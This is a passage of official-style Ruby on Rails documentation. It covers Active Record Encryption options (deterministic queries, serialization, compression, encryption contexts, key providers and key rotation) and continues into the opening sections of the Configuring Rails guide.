When using `:downcase`, the original case is lost.

You can use the `:ignore_case` option when you want to preserve the original case for displaying but ignore the case when querying data:

```
class Label
  encrypts :name, deterministic: true, ignore_case: true # the encrypted content with the original case will be stored in the column `original_name`
end
```

With the `:ignore_case` option, you need to add a new column named `original_<column_name>` to store the encrypted content with the case unchanged. When reading the `name` attribute, Rails will serve the version with the original case. When querying `name`, it will ignore case.

### [3.3. Serialized Attributes](#serialized-attributes)

By default, Active Record Encryption will serialize values using the underlying type before encrypting them as long as the value is serializable as Strings. If the underlying type is not serializable as a String, you can use a custom [`message_serializer`](https://edgeapi.rubyonrails.org/classes/ActiveRecord/Encryption/MessageSerializer.html):

```
class Article < ApplicationRecord
  encrypts :metadata, message_serializer: SomeCustomMessageSerializer.new
end
```

Attributes with structured types using the [`serialized`](https://api.rubyonrails.org/v8.0.2/classes/ActiveRecord/AttributeMethods/Serialization/ClassMethods.html#method-i-serialize) method can be encrypted as well. The `serialized` method is used when you have an attribute that needs to be saved to the database as a serialized object (using `YAML`, `JSON` or such), and retrieved by deserializing into the same object.

When using serialized attributes for custom types, the declaration of the serialized attribute should go **before** the encryption declaration:

```
# CORRECT
class Article < ApplicationRecord
  serialize :title, type: Title
  encrypts :title
end

# INCORRECT
class Article < ApplicationRecord
  encrypts :title
  serialize :title, type: Title
end
```

### [3.4. Ensuring Uniqueness with Encrypted Data](#ensuring-uniqueness-with-encrypted-data)

Checking for uniqueness is only supported with deterministically encrypted data.

#### [3.4.1. Unique Validations](#unique-validations)

If an attribute is deterministically encrypted, a uniqueness validation can be specified normally, along with encryption:

```
class Person
  validates :email_address, uniqueness: true
  encrypts :email_address, deterministic: true, downcase: true
end
```

If you want to ignore the case for uniqueness, make sure to use the `:downcase` or `:ignore_case` option in the `encrypts` declaration. Using the `:case_sensitive` option in the validation won't work.

If you have a mix of unencrypted and encrypted data or if you have data that is encrypted using two different sets of keys/schemes, you'll need to enable [extended queries](configuring.html#config-active-record-encryption-extend-queries) with `config.active_record.encryption.extend_queries = true` in order to support unique validations.

#### [3.4.2. Unique Indexes](#unique-indexes)

In order to support unique indexes on deterministically encrypted attributes, it’s important to ensure that a given plaintext always produces the same ciphertext. This consistency is what makes indexing and querying possible.

```
class Person
  encrypts :email_address, deterministic: true
end
```

In order for unique indexes to work, you will have to ensure that the encryption properties for the underlying attributes don't change.

### [3.5. Filtering Params Named as Encrypted Attributes](#filtering-params-named-as-encrypted-attributes)

Encrypted attributes are configured to be automatically [filtered](configuring.html#config-filter-parameters) out of the Rails logs. So sensitive information, like encrypted emails or credit card numbers, isn't stored in your logs. For example, if you are filtering the `email` field, you will see something like this in the logs: `Parameters: {"email"=>"[FILTERED]", ...}`.

In case you need to disable filtering of encrypted parameters, you can use the following configuration:

```
# config/application.rb
config.active_record.encryption.add_to_filter_parameters = false
```

When filtering is enabled, if you want to exclude specific attributes from automatic filtering, you can use this configuration:

```
config.active_record.encryption.excluded_from_filter_parameters = [:catchphrase]
```

When generating the filter parameter, Rails uses the model name as a prefix. For example, for `User#email`, the filter parameter is `user.email`.

### [3.6. Action Text](#action-text)

You can encrypt Action Text attributes by passing `encrypted: true` in their declaration.

```
class Message < ApplicationRecord
  has_rich_text :content, encrypted: true
end
```

Passing individual encryption options to Action Text attributes is not supported. It will use non-deterministic encryption with the global encryption options configured.

### [3.7. Fixtures](#fixtures)

To allow your tests can use plain text values in the YAML fixture files for encrypted attributes, you can configure fixtures to be automatically encrypted by adding this configuration to your `config/environments/test.rb` file:

```
Rails.application.configure do
  config.active_record.encryption.encrypt_fixtures = true
  # ...
end
```

Without this setting, Rails would load fixture values as is. This wouldn't work for encrypted attributes and Active Record Encryption expects a JSON value in that column. However, when `encrypt_fixtures` is enabled, all the encryptable attributes will be automatically encrypted and also seamlessly decrypted, according to the encryption settings defined in the model.

#### [3.7.1. Action Text Fixtures](#action-text-fixtures)

To encrypt Action Text fixtures, you can place them in `fixtures/action_text/encrypted_rich_texts.yml`.

### [3.8. Encoding](#encoding)

When encrypting strings non-deterministically, their original encoding is preserved automatically.

For deterministic encryption, Rails stores the string encoding alongside the ciphertext. However, to ensure consistent encryption output, especially for querying or enforcing uniqueness, the library forces UTF-8 encoding by default. This avoids producing different ciphertexts for identical strings with different encodings.

You can customize this behavior. To change the default forced encoding:

```
config.active_record.encryption.forced_encoding_for_deterministic_encryption = Encoding::US_ASCII
```

To disable forced encoding and preserve the original encoding in all cases:

```
config.active_record.encryption.forced_encoding_for_deterministic_encryption = nil
```

### [3.9. Compression](#compression)

Active Record Encryption enables compression of encrypted payloads by default. This can save up to 30% of the storage space for larger payloads.

Compression is enabled by default but *not* applied to all payloads. It is based on a size threshold (such as 140 bytes), which is used as a heuristic to determine if compression is "worth it".

You can disable compression by setting the `compress` option to `false` when encrypting attributes:

```
class Article < ApplicationRecord
  encrypts :content, compress: false
end
```

You can also configure the algorithm used for the compression. The default compressor is [`Zlib`](https://en.wikipedia.org/wiki/Zlib). You can implement your own compressor by creating a class or module that responds to `deflate` and `inflate` methods. For example:

```
require "zstd-ruby"

module ZstdCompressor
  def self.deflate(data)
    Zstd.compress(data)
  end

  def self.inflate(data)
    Zstd.decompress(data)
  end
end

class User
  encrypts :name, compressor: ZstdCompressor
end
```

You can also configure the desired compression method globally:

```
config.active_record.encryption.compressor = ZstdCompressor
```

### [3.10. Using the API](#using-the-api)

Active Record Encryption is meant to be used declaratively, but there is also an API for debugging or advanced use cases.

You can encrypt and decrypt all relevant attributes of an `article` model like this:

```
article.encrypt # encrypt or re-encrypt all the encryptable attributes
article.decrypt # decrypt all the encryptable attributes
```

You can check whether a given attribute is encrypted:

```
article.encrypted_attribute?(:title)
```

You can read the `ciphertext` for an attribute:

```
article.ciphertext_for(:title)
```

## [4. Migrating Existing Data](#migrating-existing-data)

### [4.1. Support for Unencrypted Data](#support-for-unencrypted-data)

To ease the transition from unencrypted to encrypted attributes in your Rails application, you can enable support for unencrypted data with:

```
config.active_record.encryption.support_unencrypted_data = true
```

When enabled:

* Reading attributes that are still unencrypted will succeed without raising errors.

* Queries on deterministically encrypted attributes can match both encrypted and cleartext values, if you also enable `extended_queries`:

```
config.active_record.encryption.extend_queries = true
```

This setup is intended only for migration periods during which both encrypted and unencrypted data need to coexist in your application. Both options default to `false`, which is the recommended long-term configuration to ensure data is fully encrypted and enforced.

### [4.2. Support for Previous Encryption Schemes](#support-for-previous-encryption-schemes)

Changing encryption properties of attributes can break existing data. For example, imagine you want to make a deterministic attribute non-deterministic. If you change the declaration in the model, reading existing ciphertexts will fail because the encryption method is different now.

To support these situations, you can specify previous encryption schemes to be used globally or on a per-attribute basis.

Once you configure the previous scheme, the following will be supported:

* When reading encrypted data, Active Record Encryption will try previous encryption schemes if the current scheme doesn't work.

* When querying deterministic data, it will add ciphertexts using previous schemes so that queries work seamlessly with data encrypted with different schemes.

You need to enable `extended_queries` configuration for this to work:

```
config.active_record.encryption.extend_queries = true
```

Next, let's see how to configure previous encryption schemes.

#### [4.2.1. Global Previous Encryption Schemes](#global-previous-encryption-schemes)

You can add previous encryption schemes by adding them as a list of properties using the `previous` config property in your `config/application.rb`:

```
config.active_record.encryption.previous = [ { key_provider: MyOldKeyProvider.new } ]
```

#### [4.2.2. Per-attribute Previous Encryption Schemes](#per-attribute-previous-encryption-schemes)

Use the `previous` option when declaring the encrypted attribute:

```
class Article
  encrypts :title, deterministic: true, previous: { deterministic: false }
end
```

#### [4.2.3. Encryption Schemes and Determinism](#encryption-schemes-and-determinism)

With deterministic encryption, you typically want ciphertexts to remain constant. So when changing encryption schemes, non-deterministic and deterministic encryption behave differently.

* With **non-deterministic encryption**, new information will always be encrypted with the *newest* (current) encryption scheme.

* With **deterministic encryption**, new information will be encrypted with the *oldest* encryption scheme by default.

It is possible to change this behavior for deterministic encryption to use the *newest* encryption scheme for encrypting new data like this:

```
class Article
  encrypts :title, deterministic: { fixed: false }
end
```

## [5. Encryption Contexts](#encryption-contexts)

An encryption context defines the encryption components that are used at a given moment. There is a default encryption context based on your global configuration, but you can also configure a custom context for a given attribute or when running a specific block of code.

Encryption contexts are a flexible but advanced configuration mechanism. Most users would not need to use them.

The main components of encryption contexts are:

* `encryptor`: exposes the internal API for encrypting and decrypting data. It interacts with a `key_provider` to build encrypted messages and deal with their serialization. The encryption/decryption itself is done by the `cipher` and the serialization by `message_serializer`.
* `cipher`: the encryption algorithm itself (AES 256 GCM).
* `key_provider`: serves encryption and decryption keys.
* `message_serializer`: serializes and deserializes encrypted payloads.

If you decide to build your own `message_serializer`, it's important to use safe mechanisms that can't deserialize arbitrary objects. A commonly supported scenario is encrypting existing unencrypted data. An attacker can leverage this to enter a tampered payload before encryption takes place and perform RCE attacks. This means custom serializers should avoid `Marshal`, `YAML.load` (use `YAML.safe_load` instead), or `JSON.load` (use `JSON.parse` instead).

### [5.1. Built-In Encryption Context](#built-in-encryption-context)

The global encryption context is the one used by default and is configured with other configuration properties in your `config/application.rb` or environment config files.

```
config.active_record.encryption.key_provider = ActiveRecord::Encryption::EnvelopeEncryptionKeyProvider.new
config.active_record.encryption.encryptor = MyEncryptor.new
```

You can use [`with_encryption_context`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Encryption/Contexts.html#method-i-with_encryption_context) to override any of the properties of the encryption context.

### [5.2. Encryption Context with a Block of Code](#encryption-context-with-a-block-of-code)

You can set an encryption context for a given block of code using `with_encryption_context`:

```
ActiveRecord::Encryption.with_encryption_context(encryptor: ActiveRecord::Encryption::NullEncryptor.new) do
  # ...
end
```

### [5.3. Per-attribute Encryption Contexts](#per-attribute-encryption-contexts)

You can override encryption context configuration by passing options in the attribute declaration:

```
class Attribute
  encrypts :title, encryptor: MyAttributeEncryptor.new
end
```

### [5.4. Encryption Context to Disable Encryption](#encryption-context-to-disable-encryption)

You can run code without encryption:

```
ActiveRecord::Encryption.without_encryption do
  # ...
end
```

This means that reading encrypted text will return the ciphertext, and saved content will be stored unencrypted.

### [5.5. Encryption Context to Protect Encrypted Data](#encryption-context-to-protect-encrypted-data)

You can run code in a block without encryption but prevent overwriting encrypted content:

```
ActiveRecord::Encryption.protecting_encrypted_data do
  # ...
end
```

This can be handy if you want to protect encrypted data while running arbitrary code against it (e.g. in a Rails console).

## [6. Key Management](#key-management)

Key providers implement key management strategies. You can configure key providers globally or on a per-attribute basis.

### [6.1. Built-in Key Providers](#built-in-key-providers)

#### [6.1.1. DerivedSecretKeyProvider](#derivedsecretkeyprovider)

The [`DerivedSecretKeyProvider`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Encryption/DerivedSecretKeyProvider.html) serves keys derived from the provided passwords using PBKDF2. This is the key provider configured by default.

```
config.active_record.encryption.key_provider = ActiveRecord::Encryption::DerivedSecretKeyProvider.new(["some passwords", "to derive keys from. ", "These should be in", "credentials"])
```

By default, `active_record.encryption` configures a `DerivedSecretKeyProvider` with the keys defined in `active_record.encryption.primary_key`.

#### [6.1.2. EnvelopeEncryptionKeyProvider](#envelopeencryptionkeyprovider)

The [`EnvelopeEncryptionKeyProvider`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Encryption/EnvelopeEncryptionKeyProvider.html) implements a simple [envelope encryption](https://en.wikipedia.org/wiki/Hybrid_cryptosystem#Envelope_encryption) strategy, where the data is encrypted with a key, which in turn is also encrypted.

The `EnvelopeEncryptionKeyProvider` generates a random key for each data encryption operation. It stores the data-key with the data itself. Then, the data-key is also encrypted with a primary key defined in the credential `active_record.encryption.primary_key`.

You can configure Active Record to use this key provider by adding this to your `config/application.rb`:

```
config.active_record.encryption.key_provider = ActiveRecord::Encryption::EnvelopeEncryptionKeyProvider.new
```

As with other built-in key providers, you can provide a list of primary keys in `active_record.encryption.primary_key` to implement key-rotation schemes.

### [6.2. Custom Key Providers](#custom-key-providers)

For more advanced key-management schemes, you can configure a custom key provider in an initializer:

```
ActiveRecord::Encryption.key_provider = MyKeyProvider.new
```

A key provider must implement this interface:

```
class MyKeyProvider
  def encryption_key
  end

  def decryption_keys(encrypted_message)
  end
end
```

Both methods return `ActiveRecord::Encryption::Key` objects:

* `encryption_key` returns the key used for encrypting some content
* `decryption_keys` returns a list of potential keys for decrypting a given ciphertext.

A key can include arbitrary tags that will be stored unencrypted with the message. You can use [`ActiveRecord::Encryption::Message#headers`](https://edgeapi.rubyonrails.org/classes/ActiveRecord/Encryption/Message.html) to examine those values when decrypting.

### [6.3. Attribute-specific Key Providers](#attribute-specific-key-providers)

You can configure a key provider on a per-attribute basis with the `key_provider` option. For example, assuming you have defined a custom key provider called `ArticleKeyProvider`:

```
class Article < ApplicationRecord
  encrypts :summary, key_provider: ArticleKeyProvider.new
end
```

### [6.4. Attribute-specific Keys](#attribute-specific-keys)

You can configure a specific key for a given attribute using the `key` option:

```
class Article < ApplicationRecord
  encrypts :summary, key: ENV["SOME_SECRET_KEY_FOR_ARTICLE_SUMMARIES"]
end
```

Active Record will use the key passed to `encrypts` to encrypt and decrypt the `summary` attribute above.

### [6.5. Rotating Keys](#rotating-keys)

Active Record Encryption can work with lists of keys to support implementing key rotation schemes. The reason to rotate keys may be as part of your organization's security policy or if you suspect a key may be compromised.

In the example below, the *last key* is used for encrypting new content and all keys are tried when decrypting content until one works.

```
active_record_encryption:
  primary_key:
    - a1cc4d7b9f420e40a337b9e68c5ecec6 # Previous keys can still decrypt existing content
    - bc17e7b413fd4720716a7633027f8cc4 # Active, encrypts new content
  key_derivation_salt: a3226b97b3b2f8372d1fc6d497a0c0d3
```

This enables key rotation workflow where you keep a short list of keys by adding new keys, re-encrypting content, and deleting old keys.

Rotating keys is not supported for deterministic encryption.

### [6.6. Storing Key References](#storing-key-references)

You can store a reference to the encryption key in the encrypted message itself. The advantage of doing this is that decryption can be more performant as the system does not have to try a list of keys to find one that works. The tradeoff is that the encryption data will be a bit larger.

In order to store a key reference, you need to enable this configuration:

```
config.active_record.encryption.store_key_references = true
```

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/configuring.html
----

***

## [1. Locations for Initialization Code](#locations-for-initialization-code)

Rails offers four standard spots to place initialization code:

* `config/application.rb`
* Environment-specific configuration files
* Initializers
* After-initializers

## [2. Running Code Before Rails](#running-code-before-rails)

In the rare event that your application needs to run some code before Rails itself is loaded, put it above the call to `require "rails/all"` in `config/application.rb`.

## [3. Configuring Rails Components](#configuring-rails-components)

In general, the work of configuring Rails means configuring the components of Rails, as well as configuring Rails itself. The configuration file `config/application.rb` and environment-specific configuration files (such as `config/environments/production.rb`) allow you to specify the various settings that you want to pass down to all of the components.

For example, you could add this setting to `config/application.rb` file:

```
config.time_zone = "Central Time (US & Canada)"
```

This is a setting for Rails itself. If you want to pass settings to individual Rails components, you can do so via the same `config` object in `config/application.rb`:

```
config.active_record.schema_format = :ruby
```

Rails will use that particular setting to configure Active Record.

Use the public configuration methods over calling directly to the associated class. e.g. `Rails.application.config.action_mailer.options` instead of `ActionMailer::Base.options`.

If you need to apply configuration directly to a class, use a [lazy load hook](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/LazyLoadHooks.html) in an initializer to avoid autoloading the class before initialization has completed. This will break because autoloading during initialization cannot be safely repeated when the app reloads.

### [3.1. Versioned Default Values](#versioned-default-values)

[`config.load_defaults`](https://api.rubyonrails.org/v8.1.4/classes/Rails/Application/Configuration.html#method-i-load_defaults) loads default configuration values for a target version and all versions prior. For example, `config.load_defaults 6.1` will load defaults for all versions up to and including version 6.1.

Below are the default values associated with each target version. In cases of conflicting values, newer versions take precedence over older versions.

#### [3.1.1. Default Values for Target Version 8.1](#default-values-for-target-version-8-1)

* [`config.action_controller.action_on_path_relative_redirect`](#config-action-controller-action-on-path-relative-redirect): `:raise`
* [`config.action_controller.escape_json_responses`](#config-action-controller-escape-json-responses): `false`
* [`config.action_view.remove_hidden_field_autocomplete`](#config-action-view-remove-hidden-field-autocomplete): `true`
* [`config.action_view.render_tracker`](#config-action-view-render-tracker): `:ruby`
* [`config.active_record.raise_on_missing_required_finder_order_columns`](#config-active-record-raise-on-missing-required-finder-order-columns): `true`
* [`config.active_support.escape_js_separators_in_json`](#config-active-support-escape-js-separators-in-json): `false`
* [`config.yjit`](#config-yjit): `!Rails.env.local?`

#### [3.1.2. Default Values for Target Version 8.0](#default-values-for-target-version-8-0)

* [`Regexp.timeout`](#regexp-timeout): `1`
* [`config.action_dispatch.strict_freshness`](#config-action-dispatch-strict-freshness): `true`

#### [3.1.3. Default Values for Target Version 7.2](#default-values-for-target-version-7-2)

* [`config.active_record.postgresql_adapter_decode_dates`](#config-active-record-postgresql-adapter-decode-dates): `true`
* [`config.active_record.validate_migration_timestamps`](#config-active-record-validate-migration-timestamps): `true`
* [`config.active_storage.web_image_content_types`](#config-active-storage-web-image-content-types): `%w( image/png image/jpeg image/gif image/webp )`
* [`config.yjit`](#config-yjit): `true`

#### [3.1.4. Default Values for Target Version 7.1](#default-values-for-target-version-7-1)

* [`config.action_dispatch.debug_exception_log_level`](#config-action-dispatch-debug-exception-log-level): `:error`
* [`config.action_dispatch.default_headers`](#config-action-dispatch-default-headers): `{ "X-Frame-Options" => "SAMEORIGIN", "X-XSS-Protection" => "0", "X-Content-Type-Options" => "nosniff", "X-Permitted-Cross-Domain-Policies" => "none", "Referrer-Policy" => "strict-origin-when-cross-origin" }`
* [`config.action_text.sanitizer_vendor`](#config-action-text-sanitizer-vendor): `Rails::HTML::Sanitizer.best_supported_vendor`
* [`config.action_view.sanitizer_vendor`](#config-action-view-sanitizer-vendor): `Rails::HTML::Sanitizer.best_supported_vendor`
* [`config.active_record.before_committed_on_all_records`](#config-active-record-before-committed-on-all-records): `true`
* [`config.active_record.belongs_to_required_validates_foreign_key`](#config-active-record-belongs-to-required-validates-foreign-key): `false`
* [`config.active_record.default_column_serializer`](#config-active-record-default-column-serializer): `nil`
* [`config.active_record.encryption.hash_digest_class`](#config-active-record-encryption-hash-digest-class): `OpenSSL::Digest::SHA256`
* [`config.active_record.encryption.support_sha1_for_non_deterministic_encryption`](#config-active-record-encryption-support-sha1-for-non-deterministic-encryption): `false`
* [`config.active_record.generate_secure_token_on`](#config-active-record-generate-secure-token-on): `:initialize`
* [`config.active_record.marshalling_format_version`](#config-active-record-marshalling-format-version): `7.1`
* [`config.active_record.query_log_tags_format`](#config-active-record-query-log-tags-format): `:sqlcommenter`
* [`config.active_record.raise_on_assign_to_attr_readonly`](#config-active-record-raise-on-assign-to-attr-readonly): `true`
* [`config.active_record.run_after_transaction_callbacks_in_order_defined`](#config-active-record-run-after-transaction-callbacks-in-order-defined): `true`
* [`config.active_record.run_commit_callbacks_on_first_saved_instances_in_transaction`](#config-active-record-run-commit-callbacks-on-first-saved-instances-in-transaction): `false`
* [`config.active_record.sqlite3_adapter_strict_strings_by_default`](#config-active-record-sqlite3-adapter-strict-strings-by-default): `true`
* [`config.active_support.cache_format_version`](#config-active-support-cache-format-version): `7.1`
* [`config.active_support.message_serializer`](#config-active-support-message-serializer): `:json_allow_marshal`
* [`config.active_support.raise_on_invalid_cache_expiration_time`](#config-active-support-raise-on-invalid-cache-expiration-time): `true`
* [`config.active_support.use_message_serializer_for_metadata`](#config-active-support-use-message-serializer-for-metadata): `true`
* [`config.add_autoload_paths_to_load_path`](#config-add-autoload-paths-to-load-path): `false`
* [`config.dom_testing_default_html_version`](#config-dom-testing-default-html-version): `defined?(Nokogiri::HTML5) ? :html5 : :html4`
* [`config.log_file_size`](#config-log-file-size): `100 * 1024 * 1024`
* [`config.precompile_filter_parameters`](#config-precompile-filter-parameters): `true`

#### [3.1.5. Default Values for Target Version 7.0](#default-values-for-target-version-7-0)

* [`config.action_controller.action_on_open_redirect`](#config-action-controller-action-on-open-redirect): `:raise`
* [`config.action_controller.wrap_parameters_by_default`](#config-action-controller-wrap-parameters-by-default): `true`
* [`config.action_dispatch.cookies_serializer`](#config-action-dispatch-cookies-serializer): `:json`
* [`config.action_dispatch.default_headers`](#config-action-dispatch-default-headers): `{ "X-Frame-Options" => "SAMEORIGIN", "X-XSS-Protection" => "0", "X-Content-Type-Options" => "nosniff", "X-Download-Options" => "noopen", "X-Permitted-Cross-Domain-Policies" => "none", "Referrer-Policy" => "strict-origin-when-cross-origin" }`
* [`config.action_mailer.smtp_timeout`](#config-action-mailer-smtp-timeout): `5`
* [`config.action_view.apply_stylesheet_media_default`](#config-action-view-apply-stylesheet-media-default): `false`
* [`config.action_view.button_to_generates_button_tag`](#config-action-view-button-to-generates-button-tag): `true`
* [`config.active_record.automatic_scope_inversing`](#config-active-record-automatic-scope-inversing): `true`
* [`config.active_record.partial_inserts`](#config-active-record-partial-inserts): `false`
* [`config.active_record.verify_foreign_keys_for_fixtures`](#config-active-record-verify-foreign-keys-for-fixtures): `true`
* [`config.active_storage.multiple_file_field_include_hidden`](#config-active-storage-multiple-file-field-include-hidden): `true`
* [`config.active_storage.variant_processor`](#config-active-storage-variant-processor): `:vips`
* [`config.active_storage.video_preview_arguments`](#config-active-storage-video-preview-arguments): `"-vf 'select=eq(n\\,0)+eq(key\\,1)+gt(scene\\,0.015),loop=loop=-1:size=2,trim=start_frame=1' -frames:v 1 -f image2"`
* [`config.active_support.cache_format_version`](#config-active-support-cache-format-version): `7.0`
* [`config.active_support.executor_around_test_case`](#config-active-support-executor-around-test-case): `true`
* [`config.active_support.hash_digest_class`](#config-active-support-hash-digest-class): `OpenSSL::Digest::SHA256`
* [`config.active_support.key_generator_hash_digest_class`](#config-active-support-key-generator-hash-digest-class): `OpenSSL::Digest::SHA256`

#### [3.1.6. Default Values for Target Version 6.1](#default-values-for-target-version-6-1)

* [`ActiveSupport.utc_to_local_returns_utc_offset_times`](#activesupport-utc-to-local-returns-utc-offset-times): `true`
* [`config.action_dispatch.cookies_same_site_protection`](#config-action-dispatch-cookies-same-site-protection): `:lax`
* [`config.action_dispatch.ssl_default_redirect_status`](#config-action-dispatch-ssl-default-redirect-status): `308`
* [`config.action_mailbox.queues.incineration`](#config-action-mailbox-queues-incineration): `nil`
* [`config.action_mailbox.queues.routing`](#config-action-mailbox-queues-routing): `nil`
* [`config.action_mailer.deliver_later_queue_name`](#config-action-mailer-deliver-later-queue-name): `nil`
* [`config.action_view.form_with_generates_remote_forms`](#config-action-view-form-with-generates-remote-forms): `false`
* [`config.action_view.preload_links_header`](#config-action-view-preload-links-header): `true`
* [`config.active_job.retry_jitter`](#config-active-job-retry-jitter): `0.15`
* [`config.active_record.has_many_inversing`](#config-active-record-has-many-inversing): `true`
* [`config.active_storage.queues.analysis`](#config-active-storage-queues-analysis): `nil`
* [`config.active_storage.queues.purge`](#config-active-storage-queues-purge): `nil`
* [`config.active_storage.track_variants`](#config-active-storage-track-variants): `true`

#### [3.1.7. Default Values for Target Version 6.0](#default-values-for-target-version-6-0)

* [`config.action_dispatch.use_cookies_with_metadata`](#config-action-dispatch-use-cookies-with-metadata): `true`
* [`config.action_mailer.delivery_job`](#config-action-mailer-delivery-job): `"ActionMailer::MailDeliveryJob"`
* [`config.action_view.default_enforce_utf8`](#config-action-view-default-enforce-utf8): `false`
* [`config.active_record.collection_cache_versioning`](#config-active-record-collection-cache-versioning): `true`
* [`config.active_storage.queues.analysis`](#config-active-storage-queues-analysis): `:active_storage_analysis`
* [`config.active_storage.queues.purge`](#config-active-storage-queues-purge): `:active_storage_purge`

#### [3.1.8. Default Values for Target Version 5.2](#default-values-for-target-version-5-2)

* [`config.action_controller.default_protect_from_forgery`](#config-action-controller-default-protect-from-forgery): `true`
* [`config.action_dispatch.use_authenticated_cookie_encryption`](#config-action-dispatch-use-authenticated-cookie-encryption): `true`
* [`config.action_view.form_with_generates_ids`](#config-action-view-form-with-generates-ids): `true`
* [`config.active_record.cache_versioning`](#config-active-record-cache-versioning): `true`
* [`config.active_support.hash_digest_class`](#config-active-support-hash-digest-class): `OpenSSL::Digest::SHA1`
* [`config.active_support.use_authenticated_message_encryption`](#config-active-support-use-authenticated-message-encryption): `true`

#### [3.1.9. Default Values for Target Version 5.1](#default-values-for-target-version-5-1)

* [`config.action_view.form_with_generates_remote_forms`](#config-action-view-form-with-generates-remote-forms): `true`
* [`config.assets.unknown_asset_fallback`](#config-assets-unknown-asset-fallback): `false`

#### [3.1.10. Default Values for Target Version 5.0](#default-values-for-target-version-5-0)

* [`config.action_controller.forgery_protection_origin_check`](#config-action-controller-forgery-protection-origin-check): `true`
* [`config.action_controller.per_form_csrf_tokens`](#config-action-controller-per-form-csrf-tokens): `true`
* [`config.active_record.belongs_to_required_by_default`](#config-active-record-belongs-to-required-by-default): `true`
* [`config.ssl_options`](#config-ssl-options): `{ hsts: { subdomains: true } }`

### [3.2. Rails General Configuration](#rails-general-configuration)

The following configuration methods are to be called on a `Rails::Railtie` object, such as a subclass of `Rails::Engine` or `Rails::Application`.

#### [3.2.1. `config.add_autoload_paths_to_load_path`](#config-add-autoload-paths-to-load-path)

Says whether autoload paths have to be added to `$LOAD_PATH`. It is recommended to be set to `false` in `:zeitwerk` mode early, in `config/application.rb`. Zeitwerk uses absolute paths internally, and applications running in `:zeitwerk` mode do not need `require_dependency`, so models, controllers, jobs, etc. do not need to be in `$LOAD_PATH`. Setting this to `false` saves Ruby from checking these directories when resolving `require` calls with relative paths, and saves Bootsnap work and RAM, since it does not need to build an index for them.

The default value depends on the `config.load_defaults` target version:

| Starting with version | The default value is |
| --------------------- | -------------------- |
| (original)            | `true`               |
| 7.1                   | `false`              |

The `lib` directory is not affected by this flag, it is added to `$LOAD_PATH` always.

#### [3.2.2. `config.after_initialize`](#config-after-initialize)

Takes a block which will be run *after* Rails has finished initializing the application. That includes the initialization of the framework itself, engines, and all the application's initializers in `config/initializers`. Note that this block *will* be run for rake tasks. Useful for configuring values set up by other initializers:

```
config.after_initialize do
  ActionView::Base.sanitized_allowed_tags.delete "div"
end
```

#### [3.2.3. `config.after_routes_loaded`](#config-after-routes-loaded)

Takes a block which will be run after Rails has finished loading the application routes. This block will also be run whenever routes are reloaded.

```
config.after_routes_loaded do
  # Code that does something with Rails.application.routes
end
```

#### [3.2.4. `config.allow_concurrency`](#config-allow-concurrency)

Controls whether requests should be handled concurrently. This should only be set to `false` if application code is not thread safe. Defaults to `true`.

#### [3.2.5. `config.asset_host`](#config-asset-host)

Sets the host for the assets. Useful when CDNs are used for hosting assets, or when you want to work around the concurrency constraints built-in in browsers using different domain aliases. Shorter version of `config.action_controller.asset_host`.

#### [3.2.6. `config.assume_ssl`](#config-assume-ssl)

Makes application believe that all requests are arriving over SSL. This is useful when proxying through a load balancer that terminates SSL, the forwarded request will appear as though it's HTTP instead of HTTPS to the application. This makes redirects and cookie security target HTTP instead of HTTPS. This middleware makes the server assume that the proxy already terminated SSL, and that the request really is HTTPS.

#### [3.2.7. `config.autoflush_log`](#config-autoflush-log)

Enables writing log file output immediately instead of buffering. Defaults to `true`.

#### [3.2.8. `config.autoload_lib(ignore:)`](#config-autoload-lib-ignore)

This method adds `lib` to `config.autoload_paths` and `config.eager_load_paths`.

Normally, the `lib` directory has subdirectories that should not be autoloaded or eager loaded. Please, pass their name relative to `lib` in the required `ignore` keyword argument. For example,

```
config.autoload_lib(ignore: %w(assets tasks generators))
```

Please, see more details in the [autoloading guide](autoloading_and_reloading_constants.html).

#### [3.2.9. `config.autoload_lib_once(ignore:)`](#config-autoload-lib-once-ignore)

The method `config.autoload_lib_once` is similar to `config.autoload_lib`, except that it adds `lib` to `config.autoload_once_paths` instead.

By calling `config.autoload_lib_once`, classes and modules in `lib` can be autoloaded, even from application initializers, but won't be reloaded.

#### [3.2.10. `config.autoload_once_paths`](#config-autoload-once-paths)

Accepts an array of paths from which Rails will autoload constants that won't be wiped per request. Relevant if reloading is enabled, which it is by default in the `development` environment. Otherwise, all autoloading happens only once. All elements of this array must also be in `autoload_paths`. Default is an empty array.

#### [3.2.11. `config.autoload_paths`](#config-autoload-paths)

Accepts an array of paths from which Rails will autoload constants. Default is an empty array. Since [Rails 6](upgrading_ruby_on_rails.html#autoloading), it is not recommended to adjust this. See [Autoloading and Reloading Constants](autoloading_and_reloading_constants.html#config-autoload-paths).

#### [3.2.12. `config.beginning_of_week`](#config-beginning-of-week)

Sets the default beginning of week for the application. Accepts a valid day of week as a symbol (e.g. `:monday`).

#### [3.2.13. `config.cache_classes`](#config-cache-classes)

Old setting equivalent to `!config.enable_reloading`. Supported for backwards compatibility.

#### [3.2.14. `config.cache_store`](#config-cache-store)

Configures which cache store to use for Rails caching. Options include one of the symbols `:memory_store`, `:file_store`, `:mem_cache_store`, `:null_store`, `:redis_cache_store`, or an object that implements the cache API. Defaults to `:file_store`. See [Cache Stores](caching_with_rails.html#cache-stores) for per-store configuration options.

#### [3.2.15. `config.colorize_logging`](#config-colorize-logging)

Specifies whether or not to use ANSI color codes when logging information. Defaults to `true`.

#### [3.2.16. `config.consider_all_requests_local`](#config-consider-all-requests-local)

Is a flag. If `true` then any error will cause detailed debugging information to be dumped in the HTTP response, and the `Rails::Info` controller will show the application runtime context in `/rails/info/properties`. `true` by default in the development and test environments, and `false` in production. For finer-grained control, set this to `false` and implement `show_detailed_exceptions?` in controllers to specify which requests should provide debugging information on errors.

#### [3.2.17. `config.console`](#config-console)

Allows you to set the class that will be used as console when you run `bin/rails console`. It's best to run it in the `console` block:

```
console do
  # this block is called only when running console,
  # so we can safely require pry here
  require "pry"
  config.console = Pry
end
```

#### [3.2.18. `config.content_security_policy_nonce_auto`](#config-content-security-policy-nonce-auto)

See [Adding a Nonce](security.html#adding-a-nonce) in the Security Guide

#### [3.2.19. `config.content_security_policy_nonce_directives`](#config-content-security-policy-nonce-directives)

See [Adding a Nonce](security.html#adding-a-nonce) in the Security Guide

